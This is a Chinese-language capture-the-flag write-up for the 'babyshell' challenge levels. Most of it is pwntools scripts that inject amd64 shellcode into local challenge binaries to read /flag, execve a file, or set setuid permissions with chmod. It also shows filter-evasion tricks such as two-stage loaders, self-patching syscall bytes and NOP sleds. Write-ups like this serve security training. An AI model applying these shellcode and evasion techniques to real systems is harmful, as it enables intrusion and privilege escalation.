1

from pwn import *
context.log_level='info'

r = process("/challenge/babyshell_level1")

r.recvuntil("[LEAK] Placing shellcode on the stack at 0x")
addr = int(r.recvline()[:-2], 16)
log.success("addr => {}".format(hex(addr)))

shellcode = shellcraft.amd64.open("/flag")
shellcode+= shellcraft.amd64.read('rax', addr+0x100, 0x100)
shellcode+= shellcraft.amd64.write(1, addr+0x100, 0x100)

payload = asm(shellcode, arch='amd64')

r.recv()
r.sendline(payload)
r.interactive()

2

payload = asm(shellcode, arch='amd64').rjust(0x900, b'\x90')

3

想了好久后突然一个思路:先写一个read+jmp进去过过滤,然后再通过自己的read二次加载shellcode,别说,还挺好用

from pwn import *
context.log_level='debug'

r = process(["/challenge/babyshell_level4"])

shellcode  = """
        /* call read(0, 0x1aed8500, 0x300) */
        xor eax, eax /* SYS_read */
        xor edi, edi /* 0 */
        xor edx, edx
        mov dh, 0x300 >> 8
        mov esi, 0x1010101 /* 451773696 == 0x1aed8500 */
        xor esi, 0x1bec8401
        syscall
        mov eax, 0x1aed8500
        jmp rax
"""

shellcode2 = shellcraft.amd64.open("/flag")
shellcode2+= shellcraft.amd64.read("rax", 0x1aed8300, 100)
shellcode2+= shellcraft.amd64.write(1, 0x1aed8300, 100)



payload = asm(shellcode, arch='amd64')
log.success(str(payload))

r.recvuntil("Reading 0x1000 bytes from stdin.")
r.send(payload)
r.recv()
r.send(asm(shellcode2, arch='amd64'))
r.interactive()

5

如果获取eip想了半天,offset试了好久整不出来就很难受

from pwn import *
context.log_level='debug'

r = process(["/challenge/babyshell_level5"])

shellcode  = """
    jmp READ
STA:
    cmp qword ptr [rax], 0
    je READ1
    cmp byte ptr [rax], 0x0f
    jne RES
    add rax, 1
    cmp byte ptr [rax], 0xef
    jne RES
    MOV BYTE PTR [rax], 0x05
    add rax, 1
    jmp STA

RES:
    add rax, 1
    jmp STA





DDD:
    pop rax
    jmp STA
READ:
    call DDD
READ1:
    /* open(file='/flag', oflag=0, mode=0) */
    /* push b'/flag\x00' */
    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0x67616c662f
    xor [rsp], rax
    mov rdi, rsp
    xor edx, edx /* 0 */
    xor esi, esi /* 0 */
    /* call open() */
    push 2 /* 2 */
    pop rax
    syscall
    /* call read('rax', 0x215e2500, 0x64) */
    mov rdi, rax
    xor eax, eax /* SYS_read */
    push 0x64
    pop rdx
    mov esi, 0x1010101 /* 559817984 == 0x215e2500 */
    xor esi, 0x205f2401
    syscall
    /* write(fd=1, buf=0x215e2500, n=0x64) */
    push 1
    pop rdi
    push 0x64
    pop rdx
    mov esi, 0x1010101 /* 559817984 == 0x215e2500 */
    xor esi, 0x205f2401
    /* call write() */
    push 1 /* 1 */
    pop rax
    syscall
"""

shellcode2 = shellcraft.amd64.open("/flag")
shellcode2+= shellcraft.amd64.read("rax", 0x215e2500, 100)
shellcode2+= shellcraft.amd64.write(1, 0x215e2500, 100)
# asm(shellcode2, arch='amd64')



payload = asm(shellcode, arch='amd64')
# log.success(str(payload))
print(type(payload))
print(payload)

i = 0
len = len(payload)
while i<len:
    if payload[i]==0x0f and payload[i+1]==0x05:
        payload = payload[:i+1] + b'\xef' + payload[i+2:]
        i+=2
    else:
        i+=1

print(payload)




r.recvuntil("Reading 0x1000 bytes from stdin.")
r.send(payload)
r.recv()
# r.send(asm(shellcode2, arch='amd64'))
r.interactive()

6

和上个题限制一样,无非就是前0x1000个字节没有写权限,nop填充就好

9

from pwn import *
context.log_level='info'

r = process(["/challenge/babyshell_level9"])

path = './a'
argv = ['a']
envp = {}
print( shellcraft.amd64.execve(path).rstrip() )

    # mov rax, 0x101010101010101
    # push rax
    # mov rax, 0x101010101010101 ^ 0x612f706d742f
    # xor [rsp], rax
    # mov rdi, rsp
    # xor edx, edx /* 0 */
    # xor esi, esi /* 0 */
    # /* call execve() */
    # push SYS_execve /* 0x3b */
    # pop rax
    # syscall



shellcode = '''
    push 0x612f2e
    mov rdi, rsp
    jmp AAA
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
AAA:
    xor edx, edx /* 0 */
    xor esi, esi /* 0 */
    /* call execve() */
    push SYS_execve /* 0x3b */
    pop rax
    syscall
'''
payload = asm(shellcode, arch='amd64')


r.recvuntil("bytes from stdin.\n")
r.send(payload)

r.interactive()

10

shellcode = '''
    push 0x612f2e
    mov rdi, rsp
    xor edx, edx /* 0 */
    xor esi, esi /* 0 */
    /* call execve() */
    push SYS_execve /* 0x3b */
    pop rax
    syscall
'''

12

限制不能使用重复的字符

最终的办法是通过两次调用,先将一个文件的所属改为root用户,其次添加s位和可执行权限

PS: /home/hacker目录里好像不行,直接之前skr师傅有说过home目录是挂载上去的,我是在tmp目录里完成的

from pwn import *
context.log_level = 'debug'

r = process("/challenge/babyshell_level12")


# shellcode = shellcraft.amd64.chown("./a", 0)
shellcode = '''
    /* chmod(file='./a', mode=0x309) */
    /* push b'./a\x00' */
    push 0x612f2e
    mov rdi, rsp
    xor esi, esi
    mov si, 0xdc9
    /* call chmod() */
    push 90 /* chmod:90  chown:92 */
    pop rax
    syscall
'''

payload = asm(shellcode, arch='amd64')
r.recv()
r.send(payload)

r.interactive()

Q.E.D.


来都来了,点个广告再走吧(=・ω・=)